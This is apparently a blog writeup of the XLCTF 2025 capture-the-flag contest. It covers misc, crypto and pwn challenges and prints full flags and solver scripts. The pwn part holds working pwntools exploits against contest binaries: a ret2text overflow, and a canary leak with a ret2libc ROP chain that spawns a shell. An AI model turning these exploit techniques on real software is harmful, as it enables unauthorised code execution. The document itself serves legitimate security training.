湘岚杯2025 Writeup

Misc

别呀啦(签到)

观察可以发现每一层都有一个文件的修改日期不同,解压每一层修改日期不同的文件

image-20250117182506042

得到Flag

XLCTF{xnnxixixi6-666-666-love}

base64游戏

题目提供一个输入口,将输入的数据用未知的码表进行base64编码,我们需要根据编码后的数据来推断出码表。

首先我们需要知道Base64的原理

由于2**6=64,所以每6个比特为一个单元,对应某个可打印字符。3个字节有24个比特,对应于4个base8单元,即编码时,3个字节(明文)可由4个可打印字符(密文)来表示一组。举个例子:

image-20250117194824726

因此可以通过密文得到索引,再通过编码后的数据按照索引填入码表对应位置

但是我们无法保证码表所有位置都能找到索引填入,未被填入的部分我们用 ? 来替代。尝试后发现部分内容依旧无法得到,于是枚举出所有的可能,并将输入程序的密文按照这个码表进行编码,将得到的数据与远程连接返回的数据进行比对,随可以得到较为正确的码表(但是尝试后发现还有五种可能,尝试后第一个码表就是正确的),写了一个代码自动化一键获取较为正确的码表

import base64
import itertools
from pwn import *

base64_aiphabet = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"

def text_to_indexes(s):
    encoded_str = base64.b64encode(s.encode()).decode()
    encoded_str = encoded_str.rstrip("=")
    return [base64_aiphabet.index(c) for c in encoded_str]

def build_Aiphabet(encoded_str, idxs):
    Aiphabet = ['?'] * 64
    for i, idx in enumerate(idxs):
        Aiphabet[idx] = encoded_str[i]
    return ''.join(Aiphabet)

def custom_base64_encode(input_bytes, possible_aiphabet):
    binary_str = ''.join(f'{byte:08b}' for byte in input_bytes)
    groups_of_6_bits = [binary_str[i:i+6] for i in range(0, len(binary_str), 6)]
    if len(groups_of_6_bits[-1]) < 6:
        groups_of_6_bits[-1] = groups_of_6_bits[-1].ljust(6, '0')
    encoded_chars = [int(group, 2) for group in groups_of_6_bits]
    encoded_str = ''.join(possible_aiphabet[i] for i in encoded_chars)
    padding = '=' * ((4 - len(encoded_str) % 4) % 4)
    return encoded_str + padding

io = remote("xlctf.huhstsec.top", 33772)

text = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"

io.sendlineafter(b'encode:', text.encode())
io.recvuntil(b'Encode: ')
encoded_str = io.recvline().strip().decode()

print("Encoded_str:", encoded_str)

indexes = text_to_indexes(text)

Aiphabet = build_Aiphabet(encoded_str, indexes)

print(f'Aiphabet: {Aiphabet}')

# with open("output.txt", "a") as file:
#     file.write(Aiphabet + "\n")

io.close()

Aiphabet="/fBawDSFHXLbCygxn9s7imlVYvr21e6GZ+04Tq8RzAhjuKM53dtQIpWEUcJ?PO??" # "def build_Aiphabet(encoded_str, idxs):ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"*50

missing_chars = [char for char in base64_aiphabet if char not in Aiphabet]

print("All cases:")

all_permutations = itertools.permutations(missing_chars)

for perm in all_permutations:
    possible_aiphabet = list(Aiphabet)
    perm_idx = 0

    for i in range(len(possible_aiphabet)):
        if possible_aiphabet[i] == '?':
            possible_aiphabet[i] = perm[perm_idx]
            perm_idx += 1

    possible_aiphabet = ''.join(possible_aiphabet)
    print(possible_aiphabet,end=' | ')

    encoded_data = custom_base64_encode(text.encode(), possible_aiphabet)

    if encoded_data == encoded_str:
        print("Find the Right Aiphabet")

宇宙编史

题目附件只给了zip,所以优先考虑伪加密,并且后台爆破密码。发现伪加密有效(具体伪加密细节查看之前写的文档)。

image-20250117195701222

打开文档发现零宽标识

image-20250117195745085

零宽隐写解密后得到Flag

image-20250117195822089

flag{you_know_use_0_zero}

银河救援SOS!

题目附件得到密文

image-20250117195929086

按照标准银河字母表进行解密

image-20250117200244959

得到压缩包密码

superalien

明文攻击,压缩工具为7zip

image-20250117200801645

注意当在找到密钥后就可以停止了,不用找到口令

image-20250117200843541

解压后得到很多张jpg(1~80,中间一张缺失),打开一张发现在EXIF中的GPS存在信息。将经度定为X,纬度定为Y,每一张图片的GPS信息得出一组坐标,并作图连线,编写代码

import os
from PIL import Image
from PIL.ExifTags import TAGS
import matplotlib.pyplot as plt

def dms_to_decimal(degrees, minutes, seconds):
    return degrees + (minutes / 60) + (seconds / 3600)

x = []
y = []

for i in range(1, 81):
    file_name = f"{i}.jpg"

    if os.path.exists(file_name):
        print(f"EXIF {file_name}")

        image = Image.open(file_name)
        exif_data = image._getexif()

        if exif_data is not None:
            for tag, value in exif_data.items():
                tag_name = TAGS.get(tag, tag)
                if 'GPSInfo' in tag_name :
                    print(f"{value}")
                    x_dms_coordinate = (value[2][0], value[2][1], value[2][2])
                    y_dms_coordinate = (value[4][0], value[4][1], value[4][2])

                    x_decimal_coordinate = dms_to_decimal(*x_dms_coordinate)
                    y_decimal_coordinate = dms_to_decimal(*y_dms_coordinate)

                    x.append(x_decimal_coordinate)
                    y.append(y_decimal_coordinate)

                    print(f'{x_decimal_coordinate} {y_decimal_coordinate}')

        else:
            print("Have No EXIF Data")

        print("="*100)
    else:
        print(f"{file_name} does not exist")
        print("="*100)

print("X list:", x)
print("Y list:", y)

plt.scatter(y, x , color="blue")
for i in range(len(x) - 1):
    plt.annotate("", xy=(y[i+1], x[i+1]), xytext=(y[i], x[i]),
                 arrowprops=dict(arrowstyle="-", color="red", lw=2))
plt.xlabel('X')
plt.ylabel('Y')
plt.show()

得到的图象如下

image-20250117201330708

得到Flag

flag{UHATCANITALK}

寻找flag碎片之旅


Crypto

RSA就是数学口牙(签到)

已知RSA的 p+q 和 (p+1)(q+1) ,简单的数学问题

import gmpy2
from Crypto.Util.number import long_to_bytes

p_add_q = 0x1232fecb92adead91613e7d9ae5e36fe6bb765317d6ed38ad890b4073539a6231a6620584cea5730b5af83a3e80cf30141282c97be4400e33307573af6b25e2ea
x = 0x5248becef1d925d45705a7302700d6a0ffe5877fddf9451a9c1181c4d82365806085fd86fbaab08b6fc66a967b2566d743c626547203b34ea3fdb1bc06dd3bb765fd8b919e3bd2cb15bc175c9498f9d9a0e216c2dde64d81255fa4c05a1ee619fc1fc505285a239e7bc655ec6605d9693078b800ee80931a7a0c84f33c851740
c = 0x21bfef2961c512fbb81fd75ca1c38cbc810dee21d04de1e749c9a24cc975447acc1098228108f25a5ab4840212b2c0f305aabb17ee6835599425ffeedb85698ff9edbc70d9e87acd5232526304948f806c0283776d3eb217599e06616a12d899b14723bfeb29becb10e464247760f828463eb4f0536244771c648b6445fab855
e = 0xe6b1bee47bd63f615c7d0a43c529d219

n = x - p_add_q - 1
phi = n - p_add_q + 1

d = gmpy2.invert(e, phi)
m = pow(c, d, n)
print(long_to_bytes(m))

# b'flag{Aurora_CAL}'

你真的懂社会主义核心价值观吗

社会主义核心价值观解码后得到base字符串

WExDVEZ7SHVuYW5GaXJzdE5vcm1hbFVuaXZlcnNpdHlpc3ZlcnliZWF1dGlmdWx9

base64解码后得到Flag

XLCTF{HunanFirstNormalUniversityisverybeautiful}

Pwn

ret2text签到

检查保护,64位无保护

image-20250117141159037

查看程序,发现后门函数。栈溢出劫持程序流到后门函数

from pwn import *
from pwn import p8,p16,p32,p64,u32,u64
from struct import pack
from LibcSearcher import * # type: ignore
from ctypes import*
from MyPwn import*

#========================
context.arch='amd64'
# context.arch = 'i386'
# context.log_level = 'debug'

host='xlctf.huhstsec.top'
port=41313
file_name='1'

Breakpoint_NoPIE=0x1100
Breakpoint_PIE=0x1100
#========================

local_file = '/mnt/c/Users/HelloCTF_OS/Desktop/Pwn_file/'+ file_name
elf=ELF(local_file)
local_libc = elf.libc.path
libc=ELF(local_libc, checksec = False)

def Start():
    if args.C:
        ROPgadget(local_file)
        exit(0)
    elif args.CL:
        ROPgadget(local_libc)
        exit(0)
    elif args.G:
        gdbscript = f'b *{Breakpoint_NoPIE}'
        io = process(local_file)
        gdb.attach(io, gdbscript)
    elif args.GP:
        gdbscript = f'b *$rebase({Breakpoint_PIE})'
        io = process(local_file)
        gdb.attach(io, gdbscript)
    elif args.P:
        io = process(local_file)
    else:
        io = remote(host,port)
    return io

def Exp():
    1==1
    binsh_add = 0x000000000040115A

    offset = 0x0A
    payload = b'a'*(offset+8) + p64(binsh_add)

    io.sendlineafter(b'xlctf',payload)

if __name__=='__main__':
    io=Start()
    Exp()
    io.interactive()

ezlibc

检查保护,开了代码执行保护和Canary

image-20250117141340499

查看程序,有两次栈溢出的read,刚好可以一次泄露Canary一次泄露libcbase

from pwn import *
from pwn import p8,p16,p32,p64,u32,u64
from struct import pack
from LibcSearcher import * # type: ignore
from ctypes import*
from MyPwn import*

#========================
context.arch='amd64'
# context.arch = 'i386'
# context.log_level = 'debug'

host='xlctf.huhstsec.top'
port=45380
file_name='ezlibc'

Breakpoint_NoPIE=0x1100
Breakpoint_PIE=0x1100
#========================

local_file = '/mnt/c/Users/HelloCTF_OS/Desktop/Pwn_file/'+ file_name
elf=ELF(local_file)
local_libc = elf.libc.path
libc=ELF(local_libc, checksec = False)

def Start():
    if args.C:
        ROPgadget(local_file)
        exit(0)
    elif args.CL:
        ROPgadget(local_libc)
        exit(0)
    elif args.G:
        gdbscript = f'b *{Breakpoint_NoPIE}'
        io = process(local_file)
        gdb.attach(io, gdbscript)
    elif args.GP:
        gdbscript = f'b *$rebase({Breakpoint_PIE})'
        io = process(local_file)
        gdb.attach(io, gdbscript)
    elif args.P:
        io = process(local_file)
    else:
        io = remote(host,port)
    return io

def Exp():
    1==1

    ret_add = 0x000000000040059e
    pop_rdi = 0x0000000000400843
    main_add = 0x00000000004006E7
    puts_got = elf.got['puts']
    puts_plt = elf.plt['puts']

    print("Puts_got: ",hex(puts_got))
    print("Puts_plt: ",hex(puts_plt))

    offset = 0x30
    io.sendafter(b'flag!', b'a'*(offset-8+1))
    io.recvuntil(b'a'*(offset-8+1))
    canary = u64(b'\00' + io.recv(7))
    print(f'Canary: {hex(canary)}')

    payload1 = b'a'*(offset-8) + p64(canary) + b'a'*8 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_add)
    io.sendlineafter(b'key', payload1)
    puts_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
    print("Puts_add: ",hex(puts_addr))

    libc = LibcSearcher('puts',puts_addr)   # libc6_2.27-3ubuntu1.6_amd64

    libc_base = puts_addr - libc.dump('puts')
    system_add = libc_base + libc.dump('system')
    bin_sh_add = libc_base + libc.dump('str_bin_sh')

    payload2 = b'a'*(offset-8) + p64(canary) + b'a'*8 + p64(ret_add) + p64(pop_rdi) + p64(bin_sh_add) + p64(system_add)
    io.sendlineafter(b'flag!',payload2)

if __name__=='__main__':
    io=Start()
    Exp()
    io.interactive()
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇